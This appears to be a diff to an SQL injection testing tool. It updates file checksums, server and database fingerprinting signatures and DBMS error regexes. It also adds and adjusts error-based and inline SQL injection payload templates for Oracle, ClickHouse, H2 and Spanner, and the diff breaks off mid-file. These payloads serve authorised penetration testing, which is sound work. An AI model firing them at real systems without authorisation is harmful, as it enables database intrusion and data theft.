+0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762  tests/test_techniques.py
+639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6  tests/test_texthelpers.py
+f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4  tests/test_threads.py
+708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365  tests/test_union_engine.py
+48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78  tests/test_unpickle_security.py
+4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf  tests/test_urls.py
+eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5  tests/test_users_enum.py
+045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779  tests/_testutils.py
+2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e  tests/test_utils.py
+93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f  tests/test_wafbypass.py
+81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca  tests/test_wordlist.py
+2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a  tests/test_xpath.py
 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a  thirdparty/ansistrm/ansistrm.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/ansistrm/__init__.py
 f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7  thirdparty/beautifulsoup/beautifulsoup.py
@@ -566,10 +669,10 @@ f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199  thirdparty/bot
 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff  thirdparty/chardet/big5freq.py
 901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773  thirdparty/chardet/big5prober.py
 df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f  thirdparty/chardet/chardistribution.py
-e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee  thirdparty/chardet/charsetgroupprober.py
+1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48  thirdparty/chardet/charsetgroupprober.py
 2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8  thirdparty/chardet/charsetprober.py
 558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f  thirdparty/chardet/codingstatemachine.py
-3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c  thirdparty/chardet/compat.py
+e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794  thirdparty/chardet/compat.py
 4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c  thirdparty/chardet/cp949prober.py
 0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5  thirdparty/chardet/enums.py
 924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927  thirdparty/chardet/escprober.py
@@ -582,34 +685,34 @@ d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797  thirdparty/cha
 257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57  thirdparty/chardet/gb2312freq.py
 806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c  thirdparty/chardet/gb2312prober.py
 737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a  thirdparty/chardet/hebrewprober.py
-62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6  thirdparty/chardet/__init__.py
+99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940  thirdparty/chardet/__init__.py
 be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8  thirdparty/chardet/jisfreq.py
 3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a  thirdparty/chardet/jpcntx.py
-d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1  thirdparty/chardet/langbulgarianmodel.py
-2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7  thirdparty/chardet/langcyrillicmodel.py
-f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800  thirdparty/chardet/langgreekmodel.py
-2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070  thirdparty/chardet/langhebrewmodel.py
-4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0  thirdparty/chardet/langhungarianmodel.py
-f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94  thirdparty/chardet/langthaimodel.py
-5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459  thirdparty/chardet/langturkishmodel.py
+c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999  thirdparty/chardet/langbulgarianmodel.py
+0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60  thirdparty/chardet/langgreekmodel.py
+02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f  thirdparty/chardet/langhebrewmodel.py
+2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df  thirdparty/chardet/langhungarianmodel.py
+b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487  thirdparty/chardet/langrussianmodel.py
+6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5  thirdparty/chardet/langthaimodel.py
+8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a  thirdparty/chardet/langturkishmodel.py
 4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f  thirdparty/chardet/latin1prober.py
 011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4  thirdparty/chardet/mbcharsetprober.py
 87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e  thirdparty/chardet/mbcsgroupprober.py
 498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92  thirdparty/chardet/mbcssm.py
-2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be  thirdparty/chardet/sbcharsetprober.py
-d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970  thirdparty/chardet/sbcsgroupprober.py
+9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304  thirdparty/chardet/sbcharsetprober.py
+86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557  thirdparty/chardet/sbcsgroupprober.py
 208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4  thirdparty/chardet/sjisprober.py
-a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6  thirdparty/chardet/universaldetector.py
+0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab  thirdparty/chardet/universaldetector.py
 21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c  thirdparty/chardet/utf8prober.py
-b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8  thirdparty/chardet/version.py
+0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f  thirdparty/chardet/version.py
 1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd  thirdparty/clientform/clientform.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/clientform/__init__.py
-162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced  thirdparty/colorama/ansi.py
-a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3  thirdparty/colorama/ansitowin32.py
-d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659  thirdparty/colorama/initialise.py
-f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5  thirdparty/colorama/__init__.py
-fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874  thirdparty/colorama/win32.py
-179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea  thirdparty/colorama/winterm.py
+4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34  thirdparty/colorama/ansi.py
+d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c  thirdparty/colorama/ansitowin32.py
+fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5  thirdparty/colorama/initialise.py
+c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf  thirdparty/colorama/__init__.py
+61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b  thirdparty/colorama/win32.py
+5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775  thirdparty/colorama/winterm.py
 4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3  thirdparty/fcrypt/fcrypt.py
 6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f  thirdparty/fcrypt/__init__.py
 dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9  thirdparty/identywaf/data.json
@@ -617,8 +720,6 @@ e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e  thirdparty/ide
 edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa  thirdparty/identywaf/__init__.py
 d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347  thirdparty/identywaf/LICENSE
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/__init__.py
-879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8  thirdparty/keepalive/__init__.py
-c7ac7253fa450030f9c42f11bb19689055bb8c39621bcfbeca856ba3c9342760  thirdparty/keepalive/keepalive.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/magic/__init__.py
 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8  thirdparty/magic/magic.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/multipart/__init__.py
@@ -630,8 +731,8 @@ ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696  thirdparty/odi
 c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df  thirdparty/six/__init__.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/socks/__init__.py
 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9  thirdparty/socks/LICENSE
-56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82  thirdparty/socks/socks.py
+c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1  thirdparty/socks/socks.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/termcolor/__init__.py
 b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df  thirdparty/termcolor/termcolor.py
 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc  thirdparty/wininetpton/__init__.py
-7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502  thirdparty/wininetpton/win_inet_pton.py
+ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927  thirdparty/wininetpton/win_inet_pton.py

data/xml/banner/generic.xml

@@ -34,7 +34,7 @@
     <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
 
     <regexp value="Windows.*\b10\.0">
-        <info type="Windows" distrib="2016|2019|2022|10|11"/>
+        <info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
     </regexp>
 
     <regexp value="Windows.*\b6\.3">
@@ -179,6 +179,10 @@
         <info type="Linux" distrib="Rocky"/>
     </regexp>
 
+    <regexp value="AlmaLinux">
+        <info type="Linux" distrib="Alma"/>
+    </regexp>
+
     <!-- BSD -->
 
     <regexp value="FreeBSD">

data/xml/banner/mssql.xml

@@ -1,5 +1,195 @@
 <?xml version="1.0" ?>
+<!--
+     Release/Service Pack anchors for SQL Server 2012-2022.
+     Each release leads with a coarse "major.minor" signature (matches any patch
+     level, so the product year is always resolved) followed by exact RTM/SP base
+     builds (last match wins, so the specific entry overrides the coarse fallback
+     and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
+     Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
+-->
 <root>
+    <signatures release="2022">
+        <signature>
+            <version>
+                16.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                16.0.1000.6
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2019">
+        <signature>
+            <version>
+                15.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                15.0.2000.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2017">
+        <signature>
+            <version>
+                14.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                14.0.1000.169
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2016">
+        <signature>
+            <version>
+                13.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.1601.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.4001.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.5026.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.6300.2
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2014">
+        <signature>
+            <version>
+                12.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.2000.8
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.4100.1
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.5000.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.6024.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2012">
+        <signature>
+            <version>
+                11.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.2100.60
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.3000.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.5058.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.6020.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.7001.0
+            </version>
+            <servicepack>
+                4
+            </servicepack>
+        </signature>
+    </signatures>
     <signatures release="2008 R2">
         <signature>
             <version>

data/xml/banner/mysql.xml

@@ -3,6 +3,7 @@
 <!--
      References:
      * https://en.wikipedia.org/wiki/Debian_version_history
+     * https://en.wikipedia.org/wiki/Ubuntu_version_history
 -->
 
 <root>
@@ -76,4 +77,30 @@
         <info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
     </regexp>
 
+    <!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
+    </regexp>
+
 </root>

data/xml/boundaries.xml

@@ -441,14 +441,6 @@ Formats:
         <suffix>)+</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+'</suffix>
-    </boundary>
     <!-- End of pre-WHERE generic boundaries -->
 
     <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->

data/xml/errors.xml

@@ -16,6 +16,8 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="pymysql\.err\."/>
+        <error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
         <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
         <error regexp="is not supported by MemSQL" fork="MemSQL"/>
         <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
@@ -34,6 +36,8 @@
         <error regexp="org\.postgresql\.jdbc"/>
         <error regexp="Pdo[./_\\]Pgsql"/>
         <error regexp="PSQLException"/>
+        <error regexp="psycopg2?\.(errors\.|\w+Error)"/>
+        <error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="Microsoft SQL Server">
@@ -78,6 +82,8 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
         <error regexp="Pdo[./_\\](Oracle|OCI)"/>
         <error regexp="OracleException"/>
+        <error regexp="cx_Oracle\.\w+Error"/>
+        <error regexp="oracledb\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="IBM DB2">
@@ -173,6 +179,7 @@
         <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
         <error regexp="\[MonetDB\]\[ODBC Driver"/>
         <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+        <error regexp="org\.monetdb\.jdbc"/>
     </dbms>
 
     <dbms value="Apache Derby">
@@ -218,7 +225,7 @@
     </dbms>
 
     <dbms value="CrateDB">
-        <error regexp="io\.crate\.client\.jdbc"/>
+        <error regexp="io\.crate\."/>
     </dbms>
 
     <dbms value="Cache">
@@ -245,4 +252,8 @@
         <error regexp="000904 \(42000\):"/>
         <error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
     </dbms>
+
+    <dbms value="Spanner">
+        <error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
+    </dbms>
 </root>

data/xml/payloads/boolean_blind.xml

@@ -598,7 +598,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>2</level>
         <risk>1</risk>
@@ -617,7 +617,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>3</level>
         <risk>3</risk>

data/xml/payloads/error_based.xml

@@ -271,7 +271,7 @@
     </test>
 
     <test>
-        <title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
+        <title>MySQL &gt;= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
         <stype>2</stype>
         <level>5</level>
         <risk>1</risk>
@@ -593,7 +593,7 @@
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -880,7 +880,7 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -899,7 +899,7 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -911,6 +911,81 @@
         </details>
     </test>
 
+    <test>
+        <title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
+        <request>
+            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time
@@ -1181,7 +1256,7 @@
         <risk>1</risk>
         <clause>1,3</clause>
         <where>3</where>
-        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -1458,7 +1533,7 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>

data/xml/payloads/inline_query.xml

@@ -141,7 +141,7 @@
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
-        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>

data/xml/payloads/time_blind.xml

@@ -1626,9 +1626,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
